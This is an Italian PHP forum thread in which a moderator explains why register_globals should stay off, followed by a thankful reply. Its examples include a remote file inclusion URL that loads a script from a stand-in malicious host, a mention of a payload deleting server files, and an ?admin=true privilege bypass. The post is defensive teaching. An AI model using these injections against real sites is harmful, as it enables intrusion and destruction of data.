![]() |
![]() |
|
| Condividi questo contenuto nei Social Network: |
|
Tweet |
|
|
|
Ti stiamo aspettando: Registrati subito e gratis. Entra a far parte di una delle comunità più attive in Italia. Se hai dimenticato i tuoi dati li puoi recuperare subito. |
||||
|
|||||||||
|
|
LinkBack | Strumenti di discussione |
|
|
#1 (permalink) |
|
Moderatore
|
[Pillola] Consigli sul perchè mantenere register_globals su OFF
Salve a tutti e benvenuti in questo tutorial
dove spiegherò(in seguito ad un altro topic) i motivi per cui è consigliabile avere register_globals del file php.ini impostato su OFF...Cominciamo! Innanzitutto, ricordiamo che register globals permette di usare una variabile già pronta con i parametri get e post(Ma anche altri)..Ovvero che una banalissima variabile può sostituire egregiamente i famosi array superglobali($_GET,$_POST, ecc..) un esempio con $_GET : Codice:
pagina.php?var=2 E quindi, se facciamo l'echo di $var <span class="gal"> Codice PHP:
Register_globals è sconsigliata perchè un hacker potrebbe inserire codice maligno a nostra insaputa. Considerando questo esempio molto semplificato(Tratto dal mio libro di programmazione) Codice PHP:
Se register globals è su on, un hacker potrebbe modificare l'url cosi: lapaginaconinclude.php?module=http://www.esempio.com/script_malevolo E cosi la pagina php includerebbe http://www.esempio.com/script_malevolo.php Che puo contere chissà quale codice, ad esempio Codice PHP:
Che cancellerebbe tutti i file accessibili al server web, oppure contenere anche banali unlink() , chdir() , fopen o fwrite... Un altro esempio? Codice PHP:
Se un hacker modificasse l'url così: paginaconadmin.php?admin=true Potrebbe entrare con i privilegi di amministratore... Per questo è consigliabile non fidarsi mai dell'utente, impostare tutte le precauzioni necessarie e soprattutto mantenere register_globals su off! Con questo minitutorial spero di essere stato utile... Ola! ![]() |
|
|
|
|
|
|
|
#3 (permalink) |
|
User
Data di registrazione: Jun 2006
Messaggi: 423
|
Hai centrato il problema. Ho risolto, grazie mille!
|
|
__________________
Laboo.biz! |
|
|
|
|
| Tags: get, hacker, off, post, register_globals, sicurezza, superglobali, tutorial, variabili |
| Strumenti di discussione | |
|
|